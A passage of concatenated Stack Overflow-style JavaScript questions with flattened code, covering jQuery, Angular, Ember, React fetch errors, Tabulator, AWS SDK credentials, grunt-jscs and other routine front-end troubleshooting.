to search in I get blocked by inArray 's inability to search through them.Problem recap : I am able to get the user data no problem . Turning it into a list and adding together duplicates is the problem . //button click event $ ( `` .calculate '' ) .bind ( `` click '' , function ( e ) { //get the correct parent of the button var parent = $ ( this ) .closest ( `` # calc '' ) ; //get relevant data parent.find ( `` .options '' ) .each ( function ( index , element ) { var opt1 = $ ( this ) .children ( `` .opt1 '' ) .children ( `` input '' ) .val ( ) ; //weight var opt2 = $ ( this ) .children ( `` .opt2 '' ) .children ( `` input '' ) .val ( ) ; //ingredient } ) ; } ) ;",jQuery list of data "JS : I have created Jquery tabs and embedded a JSP page on the parent page . I have called on window resize events on both pages . But the inner page function does not get invoked . For the inner page I have an SVG element which needs to be resized every time the window is resized . So it creates a new tab if it does not already exist . Now my on windowresize event on the inner page is on the outer page it isBut when I resize the window with the tab selected changeframesizeJN is not invoked . How can I do that ? P.S : I dont know if I have put the information that is required for the question to be answered . The fact is I am not sure how to ask this question . sLinkPageToJunction = ' < % =base1 % > ' + `` /InnerTabbedPage.jsp ? IntersectionName= '' + strIntersectionName + `` & FrameName= '' + strFrameName + `` & ip= '' + ' < % =ServerIP % > ' + `` & port= '' + ' < % =ServerPORT % > ' + `` & InterCorridorName= '' + svgfilename ; if ( document.getElementById ( `` JnLive '' + strIntersectionName ) == null ) { //var nextTab = $ ( ' # tabs li ' ) .size ( ) +1 ; Tabcount = $ ( ' # tabs li ' ) .size ( ) ; // create the tab $ ( ' < li > < a href= '' # tab ' + strIntersectionName + ' '' data-toggle= '' tab '' > ' + strIntersectionName + ' & nbsp ; & nbsp ; < button class= '' close closeTab '' align= '' right '' `` type= '' button '' > x < /button > < /a > < /li > ' ) .appendTo ( ' # tabs ' ) ; // create the tab content $ ( ' < div class= '' tab-pane '' id= '' tab ' + strIntersectionName + ' '' > < div id= '' JnLive ' + strIntersectionName + ' '' class= '' col-sm-6 '' style= '' margin-top : 1 % '' > < /div > ' ) .appendTo ( '.tab-content ' ) ; var heightvalue = $ ( window ) .height ( ) ; var widthvalue = $ ( window ) .width ( ) //alert ( `` -- -- > '' +heightvalue+ '' -- -- > '' +widthvalue ) ; var url = `` < object id=obj ' '' + strIntersectionName + `` ' data= ' '' + sLinkPageToJunction + `` ' height= ' '' + heightvalue + `` ' width= ' '' + widthvalue + `` ' > < /object > '' ; $ ( `` # JnLive '' + strIntersectionName ) .html ( url ) ; // make the new tab active $ ( ' # tabs a : last ' ) .tab ( 'show ' ) ; OpenedTabbedJunctionNames [ Tabcount - 1 ] = strIntersectionName ; OpenedTabbedJunctionFrameNames [ Tabcount - 1 ] = strFrameName ; registerCloseEvent ( ) ; } window.addEventListener ( 'resize ' , changeframesizeJN ) ; window.addEventListener ( 'resize ' , changeframesize ) ;",On window resize event javascript on object tag "JS : In a jQuery.each ( ) loop , I always thought that this was equivalent to valueOfElement . Could someone explain the difference ? Example : Result : Fiddle $ .each ( object , function ( i , val ) { $ ( 'body ' ) .append ( ' < b > valueOfElement : < /b > ' + typeof val + ' - ' + ' < b > this : < /b > ' + typeof this + ' < br/ > ' ) ; } ) ; valueOfElement : string - this : objectvalueOfElement : boolean - this : objectvalueOfElement : object - this : object",jquery.each ( ) - `` this '' vs valueOfElement "JS : I am doing Object Oriented programming in JavaScript without Prototype/jQuery ( I use jQuery for other stuff ) . It has been working fine so far , but I ran into an issue with inheritance . Basically , when I declare objects in a constructor , they are shared between instances . Below is some sample code : This outputs an array [ 100 , 200 ] for both b1 and b2 . What I want is for b1 and b2 to have their own , separate arrays for y . How do I go about this ? ( PS . I assume that Prototype 's class system has something built in for this . However I would rather not rewrite a bunch of my code to use that class system ) A = function ( ) { this.y = new Array ( ) ; } A.prototype.doStuff = function ( n ) { this.y.push ( n ) ; } B = function ( ) { } B.prototype = new A ( ) ; var b1 = new B ( ) ; var b2 = new B ( ) ; b1.doStuff ( 100 ) ; b2.doStuff ( 200 ) ; console.log ( `` b1 : '' ) ; console.log ( b1 ) ; console.log ( `` b2 : '' ) ; console.log ( b2 ) ;",Javascript inheritance -- objects declared in constructor are shared between instances ? "JS : Hi I wonder if anyone can help , I 'm trying to create a responsive site using jQuery ( got to do it this way as the target audience is on IE7/8 and css3-mediaqueries.js seems to interfere with jQuery UI that i 'm using also ) . I 'm using the following script to detect width and height and apply styles accordingly , it works great for the width but not the height , it loads the SMstyle.css then overwrites with the style.css . I 'm trying to learn JavaScript but not super strong at the moment , i know there 's got to an easier way ! Any help would be appreciated ... function adjustStyle ( width ) { width = parseInt ( width ) ; if ( ( width > = 701 ) & & ( width < 1200 ) ) { $ ( `` # size-stylesheet '' ) .attr ( `` href '' , `` css/SMstyle.css '' ) ; } else { $ ( `` # size-stylesheet '' ) .attr ( `` href '' , `` css/style.css '' ) ; } } $ ( function ( ) { adjustStyle ( $ ( this ) .width ( ) ) ; $ ( window ) .resize ( function ( ) { adjustStyle ( $ ( this ) .width ( ) ) ; } ) ; } ) ; function adjustStyle ( height ) { height = parseInt ( height ) ; if ( height < 800 ) { $ ( `` # size-stylesheet '' ) .attr ( `` href '' , `` css/SMstyle.css '' ) ; } else { $ ( `` # size-stylesheet '' ) .attr ( `` href '' , `` css/style.css '' ) ; } } $ ( function ( ) { adjustStyle ( $ ( this ) .height ( ) ) ; $ ( window ) .resize ( function ( ) { adjustStyle ( $ ( this ) .height ( ) ) ; } ) ; } ) ;",Replacing stylesheets with jQuery depending on screen size JS : The HTML codes are like this : I was wondering how I could change the < span > AFF5 < /span > to < span > Another < /span > in jquery.Does anyone have ideas about this ? Thanks ! < div id= '' select1_chzn '' class= '' chzn-container chzn-container-single '' style= '' width : 250px ; '' > < a class= '' chzn-single chzn-single-with-drop '' href= '' javascript : void ( 0 ) '' tabindex= '' -1 '' > < span > AFF5 < /span > < div > < /div > < /div >,How to change the element with no ID in jquery ? "JS : What is the difference between __proto__ and prototypeI read most of articles in the web and I still can not understand it..as far as I understand __proto__ is the property which is for prototype objectprototype is the actual objectam I correct ? ... .Why only functions have prototype property ? And how is it be an object ? outputUsing object and function I try to set values for __proto__and prototype in chrome console as shown below outputoutput output output Then I realize that I ca n't set values for __proto__ but can set values to prototype . W why ca n't I set values for __proto__ ? ? ? var fn = function ( ) { } ; console.dir ( fn ) ; function fn ( ) arguments : null caller : null length : 0 name : `` '' prototype : Object __proto__ : ( ) < function scope > //create object and display itvar o = { name : 'ss ' } ; console.dir ( o ) ; Object name : `` ss '' , __proto__ : Object //set the valueso.__proto__ = 'aaa ' ; o.prototype = 'bbb ' ; //after set the values display the objectconsole.dir ( o ) ; Object name : `` ss '' , prototype : `` aaa '' , __proto__ : Object //create function and display itvar fn = function ( ) { } ; console.dir ( fn ) ; function fn ( ) arguments : null caller : null length : 0 name : `` '' prototype : Object __proto__ : ( ) < function scope > //set the valuesfn.prototype = 'fff ' ; fn.__proto__ = 'eee ' ; //after set the values display the objectconsole.dir ( fn ) ; function fn ( ) arguments : null caller : null length : 0 name : `` '' prototype : `` fff '' __proto__ : function ( ) < function scope >",setting values to __proto__ ` and ` prototype in javascript "JS : I 'm building an app with file manager like functionality with Ember.js . I 'd like the URL for nested folder in the form of `` ... / # /files/Nested/Inside/ '' and it works fine with linkTo ; however if I refresh ( or go to the URL directly ) I have the error message `` No route match the URL '/files/Nested/Inside ' '' . Is there any way to make Ember.js works in situation like this ? Thanks.Here is my current route setup : FM.Router.map ( function ( ) { this.resource ( 'folders ' , { path : '/files ' } ) this.resource ( 'folder ' , { path : '/files/ : path ' } ) } ) FM.FoldersRoute = EM.Route.extend ( { model : function ( ) { return FM.Folder.find ( '/ ' ) } } ) FM.FolderRoute = EM.Route.extend ( { model : function ( params ) { return ns.Folder.find ( params.path ) } , serialize : function ( folder ) { return { path : folder.get ( 'path ' ) } } } )",Ember.js Nested folder like route ( contain slash ) "JS : I 'm writing a test for a directive , when executing the test the template ( which is loaded correctly ) is rendered just as < ! -- ng-repeat= '' foo in bar '' -- > For starters the relevant parts of the code : TestDirectiveThe directive is fairly simple and it 's not the problem ( outside the test everything works just fine ) : A few more details : The directive , outside the test , works fineIf I change the template to something far more simple like : < h3 > { { bar [ 0 ] } } < /h3 > the test works just fineThe rootScope is loaded correctlyThe isolateScope results as undefined ... beforeEach ( inject ( function ( $ compile , $ rootScope , $ templateCache ) { var scope = $ rootScope ; scope.prop = [ 'element0 ' , 'element1 ' , 'element2 ' ] ; // Template loading , in the real code this is done with html2js , in this example // I 'm gon na load just a string ( already checked the problem persists ) var template = ' < strong ng-repeat= '' foo in bar '' > < p > { { foo } } < /p > < /strong > ' ; $ templateCache.put ( '/path/to/template ' , [ 200 , template , { } ] ) ; el = angular.element ( ' < directive-name bar= '' prop '' > < /directive-name > ' ) ; $ compile ( el ) ( scope ) ; scope. $ digest ( ) ; // < -- - here is the problem isolateScope = el.isolateScope ( ) ; // Here I obtain just the ng-repeat text as a comment console.log ( el ) ; // < -- - ng-repeat= '' foo in bar '' -- > } ) ) ; ... app.directive ( 'directiveName ' , function ( ) { return { restrict : ' E ' , replace : true , scope : { bar : '= ' } , templateUrl : '/path/to/template ' , // Not used in this question , but still ... } ) ;",$ digest rendering ng-repeat as a comment "JS : If I try to writethere is a syntax error . Using double dots , putting in a space , putting the three in parentheses or using bracket notation allows it to work properly.Why does n't the single dot notation work and which one of these alternatives should I use instead ? 3.toFixed ( 5 ) 3..toFixed ( 5 ) 3 .toFixed ( 5 ) ( 3 ) .toFixed ( 5 ) 3 [ `` toFixed '' ] ( 5 )",Why ca n't I access a property of an integer with a single dot ? "JS : I 've added a new column in Tabulator with this column definition I 've added more lines to define each form with ID similar to this f.id = `` f_ '' + cell.getRow ( ) .getData ( ) .id ; so each form is unique and uploadID function look like this which is what i got from the official resources http : //tabulator.info/docs/4.1/format # iconthe problem is whenever i pick the file cell.getRow ( ) .getData ( ) .idCopy has the value of fileName which is exactly what i wanted but on the table 's cell it still says upload ID instead of the value of fileName 's value so the user will have no idea that he have just picked the file and the system is ready to upload it.is there is a way to replace upload ID with the fileName value or refresh those cells ? table.addColumn ( { title : '' idCopy '' , field : `` idCopy '' , sortable : false , formatter : uploadID , width:100 , align : '' center '' , cellClick : function ( e , cell ) { function selected ( ) { var fileName = formInput.value ; cell.getRow ( ) .getData ( ) .idCopy = fileName ; } var f = document.createElement ( `` form '' ) ; var formInput = document.createElement ( 'input ' ) ; formInput.onclick = `` selected ( cell , f , formInput ) '' ; var s = document.createElement ( `` input '' ) ; s.setAttribute ( 'type ' , '' submit '' ) ; f.appendChild ( formInput ) ; f.appendChild ( s ) ; f.onClick = formInput.click ( ) ; } } , false ) ; var uploadID = function ( cell , formatterParams , onRendered ) { return `` < i class='fa fa-print ' > upload ID < /i > '' ;",Tabulator ( 4.1 ) replacing new Column value/ formatter "JS : I am learning reactjs and I am playing with the environment created by create-react-app . I am trying to fetch json data from a local json file , but I am getting the error message SyntaxError : `` JSON.parse : unexpected character at line 1 column 1 of the JSON data '' In this SO answer I got to understand that I need to add a protocol but after adding it I am getting the same error . This is the component I am trying Thanks for your comments import React , { Component } from `` react '' ; class Countries extends Component { constructor ( props ) { super ( props ) ; this.state = { countries : [ ] } ; } componentDidMount ( ) { fetch ( `` http : //localhost:3000/dataset.json '' ) .then ( response = > response.json ( ) ) .then ( json = > { console.log ( json ) ; } ) .catch ( error = > console.error ( error ) ) ; } render ( ) { const countries = this.state.countries ; const rows = countries.map ( country = > ( < Country name= { country.name } code= { country.code } / > ) ) ; return ( < div > < table > < thead > < tr > < th > Name < /th > < th > Code < /th > < /tr > < /thead > < tbody > { rows } < /tbody > < /table > < /div > ) ; } } function Country ( props ) { return ( < tr > < td > { props.name } < /td > < td > { props.code } < /td > < /tr > ) ; } export default Countries ;",JSON parse error when fetching a local JSON file in an enviroment created by create-react-app "JS : The IssueCannot believe I could not find anything on this around the net , maybe I am searching for the wrong thing ... There is probably little or no difference at all , but as I am trying to optimize my code as best I possibly can , I feel it is worth asking.Very simply , I would like to know whether defining and running a method in an object processes faster than defining and running a function globally.ExamplesConsider this : And this : My QuestionWhich of the above is faster and why ? If there is no difference in speed then which would you advise using ? Thanks in advanceUPDATE 1As it may be relevant , I feel it is necessary to explain why I am asking this question . I have a library that I have written over the years that contains a large variety of functions . As there are so many of them , I want to know whether they would run faster if I was to extend the jQuery object , or keep them as they are ? ( function ( $ ) { $ .fn.test = function ( ) { // do something here } ; } ) ( jQuery ) ; function test ( ) { // do something here }",Are object methods faster than global functions ? "JS : When on a phone I 'm unable to view these two buttons as they are too far apart . I want to make it so after you choose the file , the 'choose file ' button would be replaced by the upload button . Is this possible . What would i have to do ? http : //goawaymom.com/buttons.pngmy html -- Note I do n't care to put them on separate lines or make font smaller- etc < form method= '' post '' action= '' '' enctype= '' multipart/form-data '' name= '' form1 '' > < input name= '' file '' type= '' file '' class= '' box '' / > < input type= '' submit '' id= '' mybut '' value= '' Upload '' name= '' Submit '' / > < /form >",Creating multi purpose button in html "JS : Other than just guessing ( like I 've done below ) , is there a more direct and efficient way of reflectively retrieving a list of all currencies supported by your JavaScript environment ? function getSupportedCurrencies ( ) { function $ ( amount , currency ) { let locale = 'en-US ' ; let options = { style : 'currency ' , currency : currency , currencyDisplay : `` name '' } ; return Intl.NumberFormat ( locale , options ) .format ( amount ) ; } const getAllPossibleThreeLetterWords = ( ) = > { const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ ' ; const arr = [ ] ; let text = `` ; for ( let i = 0 ; i < chars.length ; i++ ) { for ( let x = 0 ; x < chars.length ; x++ ) { for ( let j = 0 ; j < chars.length ; j++ ) { text += chars [ i ] ; text += chars [ x ] ; text += chars [ j ] ; arr.push ( text ) ; text = `` ; } } } return arr ; } ; let ary = getAllPossibleThreeLetterWords ( ) ; let currencies = [ ] ; const rx = / ( ? < = ) .+/ ; // This line does n't work in Firefox versions older than version 78 due to bug 1225665 : https : //bugzilla.mozilla.org/show_bug.cgi ? id=1225665 ary.forEach ( ( cur ) = > { let output = $ ( 0 , cur ) .trim ( ) ; if ( output.replace ( /^ [ ^ ] + / , `` ) ! == cur ) { let obj = { } ; obj.code = cur ; obj.name = output.match ( rx ) [ 0 ] ; currencies.push ( obj ) ; } } ) ; return currencies ; } console.log ( getSupportedCurrencies ( ) ) ;",Get List of Supported Currencies "JS : I am trying to use JQuery Tooltipster in my Asp.net MVC application.The content I am trying t add the tooltip to is generated dynamically through JavaScript.View : top of my index : The tooltip does work , but it does n't appear in the right spot , and it doesnt display the element that uses the tooltip class.Pic for reference : var engName = document.getElementsByClassName ( `` dhx_matrix_scell '' ) ; for ( var i = 0 ; i < engName.length ; i++ ) { engName [ i ] .className = engName [ i ] .className + `` tooltip '' ; engName [ i ] .title = `` Hello '' ; } $ ( document ) .ready ( function ( ) { $ ( '.tooltip ' ) .tooltipster ( { multiple : true } ) ; } ) ;",JQuery Tooltipster hiding element it 's attached to "JS : I am learning protractor for e2e testing angularjs and having some difficulties getting things going.Since I am new to this framework , Im following some tutorials like https : //egghead.io/lessons/angularjs-protractor-interactive.watching the tutorial I see that he checks if an element has been successfully found by *tabbing.0:56 during the tutorial , after he puts element ( by.tagName ( `` button '' ) ) and he presumably tabs to see further options available to the button found . he does n't tell you how he did it actually or if he tabs or not but I am guessing he 's tabbing to check if newly found elements gets new available optionsI gave tries too.I made a button and input field as he did and ran into interactive mode.did fine for me . it clicked the button on index.html.However , I can not check if the element has been found before clicking it . That means I can not see click option by tabbing when I am done typing to the point element ( by.tagName ( `` button '' ) ) . there 's more . Trying to gain access to 'click ' option on command prompt kills command prompt and makes it unresponsive . I have to force quit command prompt and restart . ( The pic I uploaded showing you unresponsive command prompts if you do ' b.c ' then tab . ) I found it inefficient to rerun specs just to check if element has been found every time.I would really appreciate if someone can let me know the right solution to this problems.Thank you . element ( by.tagName ( `` button '' ) ) .click ( )",e2e testing angularjs with protractor ( protractor interactive mode brakes ) "JS : I have a $ .get ( ) call to a PHP page that takes 4 GET parameters . For some reason , despite giving the $ .get ( ) call all 4 , it only passes the first two . When I look at the dev console in chrome , it shows the URL that gets called , and it only passes action and dbname . Heres the code : and heres the URL that I see in the developer console : http : //localhost/pci/util/util.php ? action=start & dbname=1hkxorr9ve1kuap2.db** EDIT **I have been informed that I need to encode the URL that I am trying to pass through the header . How would I go about encoding it in javascript , and decoding it in php ? $ .get ( 'util/util.php ' , { action : 'start ' , dbname : db , url : starturl , crawldepth : depth } , function ( data ) { if ( data == 'true ' ) { status = 1 ; $ ( ' # 0 ' ) .append ( starturl + `` < ul > < /ul > '' ) ; $ ( ' # gobutton ' ) .hide ( ) ; $ ( ' # loading ' ) .show ( `` slow '' ) ; while ( status == 1 ) { setTimeout ( `` update ( ) '' ,10000 ) ; } } else { show_error ( `` Form data incomplete ! `` ) ; } } ) ;",JQuery .get ( ) only passing first two data parameters in url "JS : I 'm querying some MDB files in nodejs on linux using MDBTools , unixodbc and the node odbc package.Using this codeI can query the my_str_col string column but I ca n't decipher the my_dbl_col Double column , I get something like this : All not empty strings are 7 or 8 bytes but what bothers me most is the second row of this example where I get an empty string while I know there is a not null number in the MDB : it means I ca n't try to build the numbers from the string bytes.So , how can I read numbers of type Double in a MDB file in node on linux ? I precise that a tool like MDBViewer ( using MDBTools ) correctly reads those numbersJavaScript numbers will be precise enough for me : those numbers would all fit in float32I ca n't apply lengthy conversions on the MDB files : I must make fast queries on a few hundred frequently changed files ... a solution in which I ca n't really issue queries but which lets me read the whole table would be acceptable too db.query ( `` select my_str_col , my_dbl_col from my_table '' , function ( err , rows ) { if ( err ) return console.log ( err ) ; console.log ( rows ) ; db.close ( ) ; } ) ; [ { my_str_col : 'bla ' , my_dbl_col : ' { \u0014�Gai� @ ' } , { my_str_col : 'bla bla ' , my_dbl_col : `` } , { my_str_col : 'bla ' , my_dbl_col : '�G�z\u0014NF @ ' } ]",How to read columns of type doubles in MDB files in node ? "JS : I met this Breeze error [ Illegal construction - use 'or ' to combine checks ] on Chrome when loading the edit page of an entity . When I refresh the page , the error message no longer appears . This error happens randomly , irregularly on my site . I could not reproduce it using a specified scenario , just met it by random.I see this error message inside Breeze codeCould you please tell me : based on above block of code , in which cases this error is thrown ? Thanks a lot . if ( curContext.prevContext === null ) { curContext.prevContext = context ; // just update the prevContext but do n't change the curContext . return that ; } else if ( context.prevContext === null ) { context.prevContext = that._context ; } else { throw new Error ( `` Illegal construction - use 'or ' to combine checks '' ) ; }",Breeze error : Illegal construction - use 'or ' to combine checks "JS : As far as I understand , all JavaScript code is event-driven and executes on a single browser thread.However , I have some JavaScript functions that are called from within a SWF object sitting on the same page . Is this code run in the same manner as regular JS code , or is it on some separate Flash thread ? If it is on a separate thread , can I use setTimeout ( ) to get it to run on the JS events thread ? e.g . : function calledFromFlash ( ) { setTimeout ( doActualWork , 0 ) ; } function doActualWork ( ) { // blah blah blah }",What thread does JavaScript code called from Flash execute on ? "JS : I have a @ Html.DropDownList which calls a jquery function . But it failed to call the function.I have tried-and Whats wrong here ? $ ( document ) .ready ( function ( ) { $ ( '.test ' ) .change ( function ( ) { alert ( `` 1 '' ) ; } ) ; } ) ; @ Html.DropDownList ( `` PropertyContent '' , ViewBag.PropertyList as List < SelectListItem > , new { @ class= '' test '' } ) function test ( ) { alert ( `` 1 '' ) ; } @ Html.DropDownList ( `` PropertyContent '' , ViewBag.PropertyList as List < SelectListItem > , new { onchange= '' test ( ) ; '' } ) @ Scripts.Render ( `` ~/bundles/jqueryval '' ) is also included in the view",MVC4 view is not detecting JQuery "JS : I try to link virtual pages using jQuery Mobile , but I have two problems : The first time when I load the page , the CSS is not applied . After when I choose a page and I want to change to another page , I notice that every time I passed by the page 1.This is my example.Code : Could you tell me what is the problem or if there is a better way to do that.Thank you . var nbrButton = 3 ; $ ( document ) .ready ( function ( ) { for ( i = 1 ; i < = nbrButton ; i++ ) { $ ( `` body '' ) .append ( ' < div id= '' p'+i+ ' '' data-role= '' page '' class= '' pages '' > < div data-role= '' content '' > Page'+i+ ' < /br > < a data-role= '' button '' rel= '' internal '' href= '' # p1 '' data-inline= '' true '' > 1 < /a > < a data-role= '' button '' rel= '' internal '' href= '' # p2 '' data-inline= '' true '' > 2 < /a > < a data-role= '' button '' rel= '' internal '' href= '' # p3 '' data-inline= '' true '' > 3 < /a > < /div > < /div > ' ) ; } $ ( `` # p1 '' ) .show ( ) ; } ) ;",Creating virtual pages dynamically using jQuery Mobile "JS : I am using Node with lambda and the AWS Javascript SDK . I have a role attached to the lambda function that allows the access I need to do . I want to be able to accept user input of access and secret keys and update my AWS config to perform new actions with those updated credentials . So far ... . Then use these keys that have rights to another accounts resources When I perform a new task it just uses the permissions provided with the lambda role and not the updated AWS creds . Any ideas ? let AWS = require ( `` aws-sdk '' ) ; // I do the normal import let ddb = new AWS.DynamoDB ( { apiVersion : '2012-10-08 ' } ) ; // do some dynamo action AWS.config = new AWS.Config ( { accessKeyId : data.accessKey , secretAccessKey : data.secretAccessKey } ) ;",Nodejs AWS Lambda switching to another accounts access and secret key to perform functions "JS : I 've simplified my problem as much as possible . It only happens in Internet Explorer ( 9 and 10 confirmed ) . I have a page rendered with this : My SPA calls I checked , the data arrives in the initChild method allright.If I bind ANYTHING on the page , I get a HierarchyRequestError on the applyBindings call . My google-fu completely abandoned me on this , I 'm completely clueless what 's wrong . < html > < body > < span data-bind= '' text : $ data [ 0 ] .Mileage '' > < /span > < script type= '' text/javascript '' > window.initChild = function ( ko , viewModel ) { window.ko = ko ; ko.applyBindings ( viewModel , document.body ) ; } < /script > < /body > < /html > var otherWindow = window.open ( 'myurl ' , '_blank ' ) ; var handler = function ( ) { otherWindow.initChild ( ko , report ) ; } ; if ( otherWindow.addEventListener ) { otherWindow.addEventListener ( 'load ' , handler , false ) ; } else if ( otherWindow.attachEvent ) { otherWindow.attachEvent ( 'onload ' , handler ) ; }",IE 10 + KnockoutJS = HierarchyRequestError ? "JS : I am experimenting with a tile-like layout for my site with which the user can interact . Each box is a button used to select a product , and upon selection of a product , the other boxes fade out and are hidden . This effect is toggle-able.I have slightly modified the following fiddle that I found online , and it comes very close the desired result.The only thing I want to do is to have the selected item transition ( via animation ) to the top-left , rather than just appearing there . Preferably also during the fading of the other boxes.Because I 'm using floats here , I can not figure out how to animate these , since they do n't have any numeric properties.Ideas for a jQuery solution ? Thanks . $ ( '.box ' ) .click ( function ( ) { $ ( '.box ' ) .not ( this ) .fadeToggle ( 250 ) ; } ) ; div.box { width : 100px ; height : 63px ; background-color : # 52c6ec ; margin : 5px ; padding-top : 37px ; float : left ; text-align : center ; color : # fff ; font-weight : bold ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js '' > < /script > < div class= '' box '' id= '' box1 '' > Box 1 < /div > < div class= '' box '' id= '' box2 '' > Box 2 < /div > < div class= '' box '' id= '' box3 '' > Box 3 < /div > < div class= '' box '' id= '' box4 '' > Box 4 < /div > < div class= '' box '' id= '' box5 '' > Box 5 < /div > < div class= '' box '' id= '' box6 '' > Box 6 < /div > < div class= '' box '' id= '' box7 '' > Box 7 < /div > < div class= '' box '' id= '' box8 '' > Box 8 < /div > < div class= '' box '' id= '' box9 '' > Box 9 < /div > < div class= '' box '' id= '' box10 '' > Box 10 < /div > < div class= '' box '' id= '' box11 '' > Box 11 < /div > < div class= '' box '' id= '' box12 '' > Box 12 < /div > < div class= '' box '' id= '' box13 '' > Box 13 < /div > < div class= '' box '' id= '' box14 '' > Box 14 < /div > < div class= '' box '' id= '' box15 '' > Box 15 < /div > < div class= '' box '' id= '' box16 '' > Box 16 < /div > < div class= '' box '' id= '' box17 '' > Box 17 < /div > < div class= '' box '' id= '' box18 '' > Box 18 < /div > < div class= '' box '' id= '' box19 '' > Box 19 < /div > < div class= '' box '' id= '' box20 '' > Box 20 < /div >",Toggle an animation over an element of a grid and fadein/out the other elements "JS : I 'm dealing with a pretty complex workflow that I want to represent as a JavaScript data structure . The flow is essentially a set of questions and answers where the answer to one question affects which question is asked next . The following is a basic example of what the flow might look like : I 'm not sure how to convert this flow into a JavaScript object that 's easy to work with . I would ideally like to have a structure that 's easy to loop/recurse through and that is easily modifiable , so that if someone wanted to change the flow at a later point , they could do so without having to make too many changes.I feel like this is some sort of weird tree structure where nodes can have more than one parent . ( I 'm not sure what data structures like this are called . ) Anyway , the only idea I 've had is to assign an ID to each node , and then create an array of node objects like the following : However , that seems really inflexible when it comes to looping through the node objects ( I could be wrong though ) .If anyone could please offer some instruction/guidance on what kind of data structure ( s ) I should look into and possibly how to implement them in JavaScript , I would be greatly appreciative.Thank you very much in advance . { id : 5 , parents : [ 2 , 3 ] , children : [ 6 , 7 , 8 ] }",How would I represent this workflow as a JavaScript data structure ? "JS : I have developed a WebApplication in Django that has a view method which contains the OpevCV code that when triggered opens the User Webcam to detect its face . This app works fine in my localserver but when I have hosted it on PythonAnywhere it says camera not found as my PA hosting doesnt serve a camera . So someone suggested me to open the webcam through javascript as it deals with the client machine and then pass its feed to server machine which is my hosting . But as i am a rookie in Python i am not able to figure how to perform the above task.I found this piece of js code but i dont know how and where to add this in my Django App.Code for getting the feed with JavascriptMy Python code for opening the camera and detecting faces is as follows ( it works in localserver ) Any help is appreciated . Thank you in advance var video = document.querySelector ( `` # videoElement '' ) ; if ( navigator.mediaDevices.getUserMedia ) { navigator.mediaDevices.getUserMedia ( { video : true } ) .then ( function ( stream ) { video.srcObject = stream ; } ) .catch ( function ( err0r ) { console.log ( `` Something went wrong ! `` ) ; } ) ; } import cv2cascade = cv2.CascadeClassifier ( './haarcascade_frontalface_default.xml ' ) cam = cv2.VideoCapture ( 0 ) while True : ret , frame = cam.read ( ) frame = cv2.flip ( frame , 1 ) if ret : gray = cv2.cvtColor ( frame , cv2.COLOR_BGR2GRAY ) faces = cascade.detectMultiScale ( gray , scaleFactor=1.3 , minNeighbors=3 ) for ( x , y , w , h ) in faces : cropped = cv2.resize ( frame [ y : y+h , x : x+w ] , ( 198,198 ) ) cv2.rectangle ( frame , ( x , y ) , ( x+w , y+h ) , ( 255 , 0 , 0 ) , 2 ) if cv2.waitKey ( 1 ) & 0xFF == ord ( ' q ' ) : break cv2.destroyAllWindows ( ) cv2.imshow ( 'Stream ' , frame )",How to access webcam in OpenCV on PythonAnywhere through Javascript ? "JS : I 'm trying to embed a Pinterest link , like explained here.I 've added this Pinterest link to a blog : I 've also added script < script type= '' text/javascript '' async src= '' //assets.pinterest.com/js/pinit.js '' > < /script > before my < /body > tag.But the Pinterest image does not show . See a live example here.From the errors in the Chrome console I do n't learn why.What can I do ? < a href= '' https : //www.pinterest.com/pin/139330182194785581/ '' data-pin-do= '' embedPin '' > < /a >",Pinterest embed image does not show "JS : In Python the all ( ) functions tests if all values in a list are true . For example , I can writeIs there an equivalent function in JavaScript or jQuery ? if all ( x < 5 for x in [ 1 , 2 , 3 , 4 ] ) : print ( `` This always happens '' ) else : print ( `` This never happens '' )",Is there an equivalent to Python 's all function in JavaScript or jQuery ? "JS : I have a grunt task that runs JSCS on a javascript code base and it was working until it came time to integrate with the build server which is using latest , stable versions of grunt , npm/node.This all ran fine under npm 1.XX.X but after i upgraded to 2.XX.X it broke . I tried latest , 3.XX.X , and that failed in the same fashion as 2.XX.X.I assume the pertinent parts needed are thethe cli output : package.json : Gruntfile.js config : $ node -vv5.2.0 $ npm -v3.3.12 $ grunt -- versiongrunt-cli v0.1.13grunt v0.4.5 $ grunt jscsLoading `` jscs.js '' tasks ... ERROR > > TypeError : fn.call is not a functionWarning : Task `` jscs '' not found . Use -- force to continue.Aborted due to warnings . { `` name '' : `` Javascript '' , `` version '' : `` 1.0.0 '' , `` private '' : true , `` devDependencies '' : { `` grunt '' : `` ~0.4.5 '' , `` matchdep '' : `` ^0.3.0 '' , `` grunt-contrib-watch '' : `` ~0.6.1 '' , `` grunt-express '' : `` ~1.4.1 '' , `` grunt-open '' : `` ~0.2.3 '' , `` grunt-chmod '' : `` ~1.0.3 '' , `` grunt-contrib-jshint '' : `` ~0.11.3 '' , `` grunt-contrib-uglify '' : `` ~0.10.0 '' , `` karma '' : `` ~0.13.15 '' , `` grunt-karma '' : `` ~0.12.1 '' , `` jasmine-core '' : `` ~2.3.4 '' , `` karma-jasmine '' : `` ~0.3.6 '' , `` phantomjs '' : `` ~1.9.18 '' , `` karma-phantomjs-launcher '' : `` ~0.2.1 '' , `` angular-mocks '' : `` ~1.2.28 '' , `` jquery '' : `` ~2.1.4 '' , `` underscore '' : `` ~1.8.3 '' , `` grunt-contrib-clean '' : `` ~0.6.0 '' , `` karma-coverage '' : `` ~0.5.3 '' , `` grunt-jscs '' : `` ~2.3.0 '' , `` grunt-contrib-concat '' : `` ~0.5.1 '' } } module.exports = function ( grunt ) { require ( 'matchdep ' ) .filterDev ( 'grunt-* ' ) .forEach ( grunt.loadNpmTasks ) ; grunt.initConfig ( { ... .. jscs : { src : [ 'gruntfile.js ' , ' < % = sourceFolder % > /**/*.js ' , ' ! < % = sourceFolder % > /angular/** ' , ' ! < % = sourceFolder % > /es5-shim/** ' , ' ! < % = sourceFolder % > /**/* [ .- ] min.js ' , ' ! < % = sourceFolder % > /respond/*.js ' , ' ! < % = sourceFolder % > /angular-ui-bootstrap/*.js ' , ' ! < % = sourceFolder % > /analytics/angulartics*.js ' ] , options : { config : '.jscsrc ' , fix : true } } } ) ;",Node/NPM/Grunt failing on jscs ( grunt-jscs ) "JS : Not sure if this is possible or not , but here 's my scenario : In about 10 of our aspx files we have the same javaScript function , I want remove this from all these pages and put it in the main javaScript file ( main.js ) which is global to all pages , so it 's easier to maintain . the javaScript code in the current aspx pages looks something like this : Not sure how to get the server side values for those variables in main.js.also this may also be relevant : '' regEx '' inside < % = regEx [ `` regEx_gaid '' ] % > is a dictionary collection on the server side and `` regEx_gain '' is key to access 